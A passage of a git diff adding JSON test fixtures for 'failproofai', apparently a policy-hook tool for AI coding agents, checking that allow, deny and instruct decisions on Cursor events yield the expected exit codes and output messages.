"cursor", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..87610ccb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..855f330b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..77553c08 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..956ae4b3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5e0db96e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..695b7352 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4c253306 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4fd216a5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..dc72e86e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..334fa87f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a376df0d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f6f98328 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a6dd7729 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6e4010db --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..63e073df --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4b592c70 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..17bec98f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..007bc034 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": 